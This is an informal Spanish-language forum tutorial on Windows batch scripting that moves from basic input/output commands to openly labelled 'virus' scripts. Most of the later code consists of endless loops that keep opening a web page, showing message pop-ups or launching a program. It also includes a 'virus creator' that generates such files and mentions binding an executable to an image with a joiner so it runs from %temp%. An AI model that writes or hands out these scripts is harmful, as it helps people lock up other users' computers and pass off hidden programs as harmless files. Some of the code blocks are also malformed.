empesemos.
bueno batch komo ustedes sabran es lo mismo que ms-dos las preguntas que se pueden hacer son las siguientes
¿como creo un archivo batch ?
bueno esto se puede hacer escribiendo todo lo que kontendra el batch en bloc de notas i depues poner guardar como i en nombre poner nombredelarchivo.bat o nombredel archivo.cmd desde windows 2000 para arriba(nome acuerdo bien si es del 200 para arriba o desde el xp)
¿por que se guarda como archivo.bat i no archivo.batch?
bueno esto es por que en la consola de ms-dos no se pude poner mas de 3 letras en la extensión i x esto desidieron poner las 3 primeras letras de batch osea bat
¿este idioma de programacion es bueno para empezar?
si,este idioma no es mui complicado por lo que es un buen idioma para empezar a programar despues de manojar este recomiendo seguir con visual basic.
¿que es lo que se puede hacer con este idioma?
puedezs hacer desde una encuesta asta editar el registro
¿se pueden hacer troyanos con batch?
no, no se puede pero se puede hacer artas cosas como virus, worms,etc...
bueno empecemos la guia
1º_ empecemos con algo facil como hacer una pregunta i ocupar la respuesta
Código:
@echo off
set /p respuesta=komo te llamas?
echo te llamas %respuesta%
pause
exit
explicaremos esto "echo off" se usa para que muestre sola la respuesta osea que no aparescan los comandos
Código:
ej:si pones set /p rata=ola?va a mostar solo ola?
Código:
set /p respuesta=komo te llamas?
Código:
ej:si escribes de respuesta ola raspuesta va hacer = a ola
Código:
ej: echo tu nombre es %respuesta% (siempre ai que enserrar la palabra en % cuando se ocupa para hacer algo)
ejemplo si diste de respuesta juan va a mostar
Código:
tu nombre es juan
ejemplo:puedes ocupar pollo i kedaria a si
Código:
set /p pollo=tu nombre es?
echo tu nombre es %pollo%
"pause" se ocupa para que la persona tenga que apretar una tecla para continuar
"exit" se ocupa para salir del programa
2º_ imventaremos un archivo que kree un archivo que si lo abres va a aparecer un mensaje diciendo ola
el codigo seria
Código:
@echo off
echo msg * ola>> mensaje.bat
exit
bueno la mayoria de la sintaxis ia la explique pero vamos a explicar lo que no explique
"echo msg * ola>> mensaje.bat"con esto digo que kree un programa que al abrirlo apareska un mensage esto se ase asi "echo lo que va a estar escrito dentro del archivo >>ruta/nombre del archivo.extension(si no se pone la ruta se crea el archivo en la misma ruta del archivo originalosea el creador).
3º_vamos a unir el primer ejecicio con el segundo
este archivo lo que va hacer que kree un archivo que muestre un mensaje que diga lo que kieras kedaria asi:
Código:
@echo off
set /P mensaje=que kieres que diga el mensaje?
echo msg * %mensaje%>>msg2.bat
exit
i al ser .bat muestra el mensaje si kieres aaser mas completo esto puedes hacer esto:
Código:
@echo off
set /P mensaje=que kieres que diga el mensaje?
echo @echo off>>msg2.bat
echo msg * %mensaje%>>msg2.bat
echo exit>>msg2.bat
exit
Código:
set /P mensaje=que kieres que diga el mensaje?
echo @echo off
msg * %mensaje%
exit
>>msg2.bat
exit
:xD
este lo que ara es abrir una pagina consecutivamente esto kedaria asi:
Código:
@echo off
:pagina
start www.yelcho.cl
goto pagina
":pagina" es como una "direccion" que se le asigna al comando siempre tiene que aver antes dela "direcion" ":" para que sepa el programa que es la "direccion" que se le asigna al comando
"start" es para iniciar algo por ejemplo en este caso dice start www.yelcho.clestodice que abra una ventana de internet de la pagina www.yelcho.cl
"goto" significa ir a i al poner la "direccion" este va a esa "direccion" en resumen abre www.yelcho.cl idespues ase que se repita la ccion infinitas veces
5º_creador de virus
este programa lo que ara sera crear un virus simple como el anterior klaro que dara opciones i con titulo
el kodigo kedaria asi:
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
i el otro que es "title" que se usa para ponerle titulo a el archivo e ej:
Código:
title "aki va el tiulo"
i se ve feo .bueno esto de ejecutar una pagina web consecutivamente se puede hacer tambien con algun programa , mensaje ,etc... ej para un mensaje :
Código:
@echo off
:mensage
start msg * "el mensaje kee kkieren "
goto mensaje
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que mensaje que kieres mostar por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start msg * %car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
Código:
@echo off
:programa
start %temp%/archivo(el nombre del archivo tiene que ser el nombre del archivo original por ejemplo si combinaste una foto que se llamaba lol.jpg i el archivo se llamava jaja.exe i los uniste i el archivo final se llamaba nose.exe entonces kedaria asi %temp%/jaja.exe)
goto programa
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kieres que se ejecute por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %temp%/%car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
bueno este archivo se almacena en la carpeta %temp%, bueno porke ponemos %TEMP% I NO SIMPLEMENTE TEMPORALES bueno esto es porke si kieres as3r esto tendrias que sabeerte toda la ruta i esta puede variar segun la pc.
bueno asi kedaria si ocuparas un joiner i si lo isieras normalmente te tendrias que saber la ruta del archivo
ej:
Código:
:programa2
ruta/arhivo
goto programa2
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kiers que abra x siempre??(anotar con ruta ej: ruta/archivo)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %car1%>>%name%.bat(OJO)
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit